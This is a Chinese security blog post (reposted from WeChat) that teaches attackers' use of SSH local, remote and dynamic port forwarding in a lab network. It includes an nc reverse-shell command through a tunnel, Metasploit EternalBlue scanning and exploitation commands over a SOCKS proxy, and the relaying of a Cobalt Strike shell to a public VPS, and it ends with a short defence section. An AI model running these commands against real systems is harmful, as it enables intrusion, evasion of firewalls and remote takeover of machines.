实战中SSH隧道技术的利用方式

admin 2021年1月7日00:00:50评论122 views字数 3347阅读11分9秒阅读模式

实战中SSH隧道技术的利用方式

内网中几乎所有的linux服务器和网络设备都支持ssh协议,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。


创建ssh隧道的常用参数如下:

-C:压缩传输,提高传输速度-f :将ssh传输转入后台执行,不占用当前的shell。-N:建立静默连接(建立了连接,但是看不到具体的会话)-g 允许远程主机连接本地用于转发的端口。-L:本地端口转发-R:远程端口转发-D:动态转发(socks代理)-P:指定ssh端口。

1.本地端口转发
测试环境如下:
  外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口。

实战中SSH隧道技术的利用方式


修改ssh服务器配置文件

/etc/ssh/sshd_config– PermitRootLogin yes– Port 22– PasswordAuthentication yes▪ service ssh restartssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>ssh -fCNg -L 1153:192.168.190.136:3389 [email protected] -p 22

netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听。
实战中SSH隧道技术的利用方式
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接

rdesktop 127.0.0.1:1153

实战中SSH隧道技术的利用方式


ssh进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。

加密传输:
实验环境如下:

linux1 :192.168.190.110linux2:192.168.190.133win7:192.168.190.136win2008: 192.168.190.132


在linux1和linux2之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。
在linux1上执行如下命令:

ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22

实战中SSH隧道技术的利用方式


在win7上使用nc监听本地333端口

nc -lvp 333

在win ser2008上使用nc连接linux1的7006端口

nc.exe 192.168.190.110 7006 -e cmd

回到win7上可以看到已经获得了win2008的shell了。

实战中SSH隧道技术的利用方式


2.远程端口转发
测试环境如下:
  左侧为攻击者vps(kali linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口。

实战中SSH隧道技术的利用方式


  以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令:

ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>ssh -fCNg -R 1521:192.168.190.136:3389 [email protected]

实战中SSH隧道技术的利用方式


netstat -anptl | grep 1521 查看远程  vps(192.168.190.110)发现已经开启对1521端口的监听

实战中SSH隧道技术的利用方式


rdesktop 127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。

实战中SSH隧道技术的利用方式


总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。


3.动态转发
测试环境如下:

实战中SSH隧道技术的利用方式


在vps上执行如下命令,建立一个动态的socks代理通道

ssh fCNg -D 7000 root@192.168.174.133

查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。

实战中SSH隧道技术的利用方式


然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。

实战中SSH隧道技术的利用方式


此时,也可以使用metasploit挂socks代理扫描目标内网ms17-010

msfconsole -q  msf5 > setg proxies socks5:192.168.174.130:7000  msf5 > use auxiliary/scanner/smb/smb_ms17_010  msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.190.132  msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10  msf5 auxiliary(scanner/smb/smb_ms17_010) > run

实战中SSH隧道技术的利用方式

msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 > set rhost 192.168.190.136  msf5 > set lhost 192.168.174.130  msf5 > set lport 444  msf5 > set ReverseAllowProxy true  msf5 > exploit

实战中SSH隧道技术的利用方式


总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。


4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。
2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发

ssh -X root@192.168.199.165 -p 53

X协议转发测试
可以使用远程主机的图像化工具

ssh -X root@192.168.199.165

实战中SSH隧道技术的利用方式


5.ssh隧道实战中的用法
  若公网服务器没有Metasploit时,可以创建ssh隧道,将CS shell 转发到公网VPS的8080端口,在kali上创建本地kali到公网VPS的ssh隧道,然后就可以在kali上获得CS委派过来的shell了。
1.创建ssh隧道
公网vps的ssh配置修改如下:

AllowTcpForwarding yes  GatwayPorts yes  TCPKeepAlive yes  PasswordAuthentication yes  ssh -CfNg -R 1.1.1.1:3306:192.168.174.130:3306  root@1.1.1.1 -p 1521

实战中SSH隧道技术的利用方式


2.将CS的shell委派给公网VPS的3306端口

实战中SSH隧道技术的利用方式


3.公网VPS的3306将收到的流量通过ssh隧道又传递给了本地kali的3306端口,从而获得了shell。

实战中SSH隧道技术的利用方式

6.ssh隧道防御
ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一问题。


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持实战中SSH隧道技术的利用方式

【好书推荐】





实战中SSH隧道技术的利用方式

实战中SSH隧道技术的利用方式

2020hw系列文章整理(中秋快乐、国庆快乐、双节快乐)

HW中如何检测和阻止DNS隧道

ctf系列文章整理

日志安全系列-安全日志

【干货】流量分析系列文章整理

【干货】超全的 渗透测试系列文章整理

【干货】持续性更新-内网渗透测试系列文章

【干货】android安全系列文章整理



扫描关注LemonSec

实战中SSH隧道技术的利用方式

实战中SSH隧道技术的利用方式


本文始发于微信公众号(LemonSec):实战中SSH隧道技术的利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月7日00:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战中SSH隧道技术的利用方式http://cn-sec.com/archives/166386.html

发表评论

匿名网友 填写信息